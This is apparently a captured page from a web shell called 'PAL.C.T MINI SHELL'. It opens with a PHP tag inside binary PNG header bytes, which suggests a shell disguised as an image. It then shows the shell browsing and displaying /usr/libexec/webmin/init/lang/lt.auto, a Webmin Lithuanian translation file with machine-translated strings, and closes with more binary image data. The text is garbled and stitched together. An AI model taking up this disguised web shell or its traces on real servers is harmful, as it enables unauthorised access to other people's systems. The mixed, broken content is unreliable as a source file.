php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/init/lang/
upload
files >> //usr/libexec/webmin/init/lang/lt.auto

index_title=Paleidimas ir išjungimas
index_mode=Įkrovos sistema : $1 
index_add=Sukurkite naują įkrovos ir išjungimo veiksmą.
index_reboot=Perkraukite sistemą
index_rebootmsg=Spustelėkite šį mygtuką, kad iš karto paleistumėte sistemą. Visi šiuo metu prisijungę vartotojai bus atjungti, o visos paslaugos bus paleistos iš naujo.
index_shutdown=Išjungimo sistema
index_shutdownmsg=Spustelėkite šį mygtuką, kad nedelsdami išjungtumėte sistemą. Visos paslaugos bus sustabdytos, visi vartotojai atjungti ir sistema išjungta (jei jūsų aparatūra tai palaiko).
index_script=Žemiau nurodytas scenarijus $1 bus paleistas įkrovos metu. Galite pridėti savo komandas, jei norite paleisti demonus ar serverius iš naujo paleidus sistemą.
index_downscript=Panašiai toliau pateiktas scenarijus $1 bus vykdomas išjungimo metu. Galite pridėti savo komandas, kad demonai ar serveriai būtų švariai sustabdyti, kai sistema išjungiama.
index_return=įkrovos ir išjungimo veiksmai
index_action=Veiksmas
index_desc=apibūdinimas
index_boot=Bagažinėje?
index_levels=Pradėkite nuo pakopų
index_status=Pradėjote dabar?
index_order=Įsakymas
index_add_mac=Pridėkite naują įkrovos veiksmo scenarijų
index_provides=Teikia
index_setting=Nustatymas
index_script_mac=Žemiau nurodytas scenarijus $1 bus paleistas įkrovos metu. Tačiau siūloma pridėti savo komandas, kad paleidžiant sistemą į paleisties katalogą būtų įjungiami demonai ar serveriai.
index_editconfig=Redaguoti $1 failą rankiniu būdu
index_stop=Sustabdyti
index_start=Pradėti
index_restart=Perkrauti
index_rlchange=Pakeisti į pakopos lygį:
index_rlchangedesc=Spustelėkite šį mygtuką, kad perjungtumėte savo sistemą iš dabartinės lygio į pasirinktą. Dėl to visi dabartinio lygio veiksmai bus sustabdyti, o tada bus pradėti visi naujojo lygio lygio veiksmai.
index_addboot=Pradėkite nuo įkrovos
index_delboot=Išjungti įkrovą
index_addboot_start=Pradėkite dabar ir pradėkite
index_delboot_stop=Išjungti dabar ir įjungus
index_sname=Veiksmo pavadinimas
index_sdesc=apibūdinimas
index_stype=Paslaugos tipas
index_sstate=Dabartinė būsena
index_sboot=Pradėti nuo įkrovos?
index_sstate4=Bėgimas
index_sstate1=Sustojo
index_sboot2=Taip
index_sboot3=Ne
index_sboot4=Neįgalus
index_rname=Veiksmo pavadinimas
index_rdesc=apibūdinimas
index_rboot=Pradėti nuo įkrovos?
index_radd=Sukurkite naują veiksmą.
index_unknown=Nežinoma
index_uname=Paslaugos pavadinimas
index_udesc=Aptarnavimo Aprašymas
index_ucstatus=Paslaugos būsena
index_uboot=Pradėti nuo įkrovos?
index_ustatus=Veikia dabar?
index_uadd=Sukurkite naują įdiegtą paslaugą.
index_sadd=Sukurkite naują sisteminę paslaugą.
index_always=Visada
index_ladd=Sukurkite naują paleistą agentą.
index_lname=Agento vardas

edit_title=Redaguoti veiksmą
create_title=Sukurti veiksmą
edit_ecannot=Jums neleidžiama redaguoti įkrovos veiksmų
edit_egone=Veiksmo nebėra
edit_details=Informacija apie veiksmą
edit_name=vardas
edit_desc=apibūdinimas
edit_startmsg=Įkrovos pranešimas
edit_stopmsg=Išjungimo pranešimas
edit_start=Paleidimo komandos
edit_stop=Išjungimo komandos
edit_startcmd=Paleidimo komanda
edit_stopcmd=Išjungimo komanda
edit_statuscmd=Būsenos komanda
edit_script=Veiksmo scenarijus
edit_boot=Pradėti įkrovos metu?
edit_badS=Kadangi šis veiksmas nebuvo tinkamai sukurtas, jis pradedamas tik $1 pakopoje.
edit_badK=Kadangi šis veiksmas nebuvo sukurtas tinkamai, jis sustabdomas tik $1 pakopoje.
edit_fix=Spustelėkite čia, kad šis veiksmas būtų prieinamas kitiems pakopų lygiams
edit_levels=Pradėti ir sustoti bėgių lygiai
edit_rl=$1 lygio lygis
edit_startat=Pradėti nuo
edit_stopat=Sustokite prie
edit_startnow=Pradėk dabar
edit_stopnow=Sustok dabar
edit_restartnow=Paleiskite iš naujo dabar
edit_reloadnow2=Dar kartą perskaitykite konfigūracijos failą
edit_condrestartnow=Jei reikia, paleiskite iš naujo
edit_reloadnow=Perkrauti dabar
edit_statusnow=Rodyti būseną
edit_return=veiksmas
edit_status=Pradėjote dabar?
edit_unknown=Nežinoma

save_err=Nepavyko išsaugoti veiksmo
save_ecannot=Jums neleidžiama redaguoti įkrovos veiksmų
save_ealready=Veiksmas, vadinamas „$1“, jau egzistuoja
save_ewrite=Nepavyko parašyti $1 : $2 
save_ename=Trūksta arba netinkamas veiksmo pavadinimas
save_eclash=Veiksmas tuo pačiu pavadinimu jau egzistuoja
save_escript=Neįvestas veiksmo scenarijus
save_estartcmd=Trūksta įkrovos komandos

ss_ecannot=Jums neleidžiama pradėti ar sustabdyti įkrovos veiksmų
ss_start=Pradėkite veiksmą
ss_stop=Sustabdyti veiksmą
ss_restart=Paleiskite veiksmą iš naujo
ss_reload=Perkrovimo veiksmas
ss_status=Veiksmo būsena
ss_exec=Vykdoma $1 ..
ss_doingstart=Pradedamas veiksmas $1 ..
ss_doingstop=Sustabdyti veiksmą $1 ..
ss_doingstatus=Prašoma veiksmo būsena $1 ..

shutdown_ecannot=Jums neleidžiama išjungti sistemos
shutdown_title=Išjungti
shutdown_rusure=Ar tikrai norite išjungti sistemą naudodami komandą $1 ?
shutdown_ok=Išjungimo sistema
shutdown_exec=Išjungiama naudojant komandą $1 ..

reboot_ecannot=Jums neleidžiama perkrauti sistemos
reboot_title=Perkraukite
reboot_rusure=Ar tikrai norite iš naujo paleisti sistemą naudodami komandą $1 ?
reboot_ok=Perkraukite sistemą
reboot_exec=Perkraukite naudodami komandą $1 ..

acl_script=Ar galima redaguoti įkrovos scenarijų?
acl_actions=Ar galite paleisti, redaguoti, kurti ir ištrinti veiksmus?
acl_runonly=Tik bėk
acl_reboot=Ar galima paleisti sistemą iš naujo?
acl_shutdown=Ar galima išjungti sistemą?

log_rename=Pervadintas veiksmas nuo $1 iki $2 
log_modify=Modifikuotas veiksmas $1 
log_create=Sukurtas veiksmas $1 
log_delete=Ištrintas veiksmas $1 
log_start=Pradėtas veiksmas $1 
log_stop=Sustabdytas veiksmas $1 
log_restart=Paleistas veiksmas $1 
log_condrestart=Sąlyginai paleistas veiksmas $1 
log_reload=Perkrautas veiksmas $1 
log_status=Gauta veiksmo būsena $1 
log_reboot=Iš naujo paleista sistema
log_shutdown=Išjungimo sistema
log_local=Modifikuotas įkrovos scenarijus
log_bootup=Pakeistas įkėlimo veiksmas $1 
log_massstart=Pradėti veiksmai $1 
log_massstop=Sustabdyti veiksmai $1 
log_massrestart=Vėl pradėti veiksmai $1 
log_massenable=Įgalinti veiksmai $1 
log_massdisable=Neleidžiami veiksmai $1 
log_telinit=Perjungta į $1 lygio lygį

edit_hostconfig_startup=Jei šis veiksmas aktyvus, scenarijus $1 vykdomas sistemos įkrovos metu. Galite redaguoti žemiau
edit_hostconfig_plist=Failas $1 nustato tam tikrus parametrus, atsižvelgiant į įkrovos scenarijų. Galite redaguoti žemiau
edit_hostconfig_new=Sukurkite naują veiksmą
edit_hostconfig_noquotes=Nenaudokite kabučių jokiuose laukuose, išskyrus lauką $1.
edit_hostconfig_startitems=$1 laukas neturėtų prasidėti skaičiumi ar pabraukimu, o pagal susitarimą visi abėcėlės ženklai turėtų būti rašomi didžiosiomis raidėmis. Laukas $2 turėtų būti teisinis failo vardas ir jame neturėtų būti taškas.
edit_hostconfig_actionname=Veiksmo pavadinimas
edit_hostconfig_scriptname=Scenarijaus pavadinimas
edit_hostconfig_array=Laukai $1, $2 ir $3 yra masyvo laukai ir gali turėti daugiau nei vieną reikšmę. Padalinkite kelias reikšmes iš dvitaškio.
edit_hostconfig_further=Sukūrę naują paleidimo veiksmą, būsite nukreipti į puslapį, kuriame prireikus galėsite pataisyti paleidimo scenarijų ir parametrų sąrašą.
edit_hostconfig_hostconfig=Failas $1 kontroliuoja visos sistemos paslaugas ir demonus, kurie pradedami paleidžiant sistemą. Galite redaguoti žemiau
edit_hostconfig_title=Redaguoti „Hostconfig“

mass_enone=Nepasirinktas nė vienas veiksmas
mass_enone2=Nepasirinkta jokių paslaugų
mass_start=Pradėti veiksmai
mass_restart=Veiksmų paleidimas iš naujo
mass_stop=Veiksmų sustabdymas
mass_ebroken=Sugedusio veiksmo $1 negalima įjungti ar išjungti įkrovos metu
mass_enable=Įgalinamas veiksmas $1 įkrovos metu.
mass_disable=Išjungus veiksmą $1 įkrovos metu.
mass_starting=Pradedamas veiksmas $1 ..
mass_stopping=Sustabdyti veiksmą $1 ..
mass_failed=.. nepavyko!
mass_ok=.. padaryta.
mass_ustart=Paslaugų pradžia
mass_urestart=Paslaugų paleidimas iš naujo
mass_ustop=Sustabdymo paslaugos
mass_uenable=Įgalinama „ $1 “ paslauga įkrovos metu.
mass_udisable=Paslaugos $1 išjungimas įkrovos metu.
mass_ustarting=Paslaugos pradžia $1 ..
mass_ustopping=Paslaugos sustabdymas $1 ..
mass_urestarting=Paslaugos atnaujinimas $1 ..

change_err=Jums neleidžiama keisti tarptinklių
change_title=Perjunkite „Runlevel“
change_cmd=Perjungimas į $1 pakopą su komanda $2. Tai gali užtrukti, o pakeitus „Webmin“ gali būti nebepasiekiamas.

mode_init=„SysV init“
mode_osx=„MacOS“
mode_local=Vieno įkrovos scenarijus
mode_win32=„Windows“ paslaugos
mode_rc=„FreeBSD RC“ scenarijai
mode_upstart=Pradėti
mode_systemd=Sisteminė
mode_launchd=PaleistiD

upstart_title1=Sukurkite „Upstart Service“
upstart_title2=Redaguoti „Upstart Service“
upstart_egone=Aptarnavimas nebeegzistuoja!
upstart_elegacy=Ne naujausia paslauga!
upstart_header=Pradinės paslaugos informacija
upstart_name=Paslaugos pavadinimas
upstart_desc=Aptarnavimo Aprašymas
upstart_prestart=Komandos, paleistos prieš paleidžiant serverį <br> (neprivaloma)
upstart_server=Serverio programa ir parametrai
upstart_fork=Serverio šakės į foną?
upstart_conf=Konfigūracijos failas
upstart_boot=Pradėti įkrovos metu?
upstart_status=Dabartinis statusas
upstart_status0=Nebėga
upstart_status1=Bėgimas su PID $1 
upstart_err=Nepavyko išsaugoti pradinės paslaugos
upstart_econf=Neįvestas konfigūracijos failo turinys
upstart_ename=Trūksta arba netinkamos paieškos pradžios paslaugos serverio pavadinimas
upstart_eclash=Paslauga tuo pačiu pavadinimu jau egzistuoja
upstart_edesc=Trūksta paslaugos aprašymo
upstart_eserver=Neįvesta serverio komanda
upstart_eserver2=Serverio komanda neegzistuoja
upstart_eserver3=Galima įvesti tik vieną serverio komandą
upstart_return=pakylos tarnyba

systemd_title1=Sukurti sisteminę paslaugą
systemd_title2=Redaguoti sisteminę paslaugą
systemd_egone=Aptarnavimas nebeegzistuoja!
systemd_elegacy=Ne sisteminė paslauga!
systemd_header=Informacija apie sistemines paslaugas
systemd_name=Paslaugos pavadinimas
systemd_file=Konfigūracijos failas
systemd_desc=Aptarnavimo Aprašymas
systemd_start=Komandos paleisti paleidžiant
systemd_stop=Komandos vykdomos išjungiant
systemd_conf=Sisteminė konfigūracija
systemd_boot=Pradėti įkrovos metu?
systemd_status=Dabartinis statusas
systemd_status0=Nebėga
systemd_status1=Bėgimas su PID $1 
systemd_status2=Bėgimas
systemd_status3=Nežinoma!
systemd_err=Nepavyko išsaugoti sisteminės paslaugos
systemd_ename=Trūksta arba netinkamos paieškos sisteminės paslaugos pavadinimo
systemd_eclash=Paslauga tuo pačiu pavadinimu jau egzistuoja
systemd_edesc=Trūksta paslaugos aprašymo
systemd_return=sisteminė paslauga
systemd_econf=Neįvesta jokia sisteminė konfigūracija
systemd_estart=Trūksta komandų paleisti paleidžiant

launchd_title1=Sukurti paleistą agentą
launchd_title2=Redaguoti paleistą agentą
launchd_egone=Agentas nebeegzistuoja!
launchd_header=Pateikta paslaugos informacija
launchd_name=Agento vardas
launchd_file=Konfigūracijos failas
launchd_nofile=Nerastas!
launchd_start=Serverio komanda
launchd_conf=Paleista konfigūracija
launchd_boot=Pradėti įkrovos metu?
launchd_status=Dabartinis statusas
launchd_status0=Nebėga
launchd_status1=Bėgimas su PID $1 
launchd_status2=Bėgimas
launchd_err=Nepavyko išsaugoti paleisto agento
launchd_ename=Trūksta arba netinkamos paieškos paleisto agento vardas
launchd_eclash=Agentas tuo pačiu vardu jau yra
launchd_return=paleistas agentas
launchd_econf=Neįvesta paleidžiama konfigūracija
launchd_estart=Trūksta serverio komandos

syslog_journalctl=„SystemD“ žurnalai
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`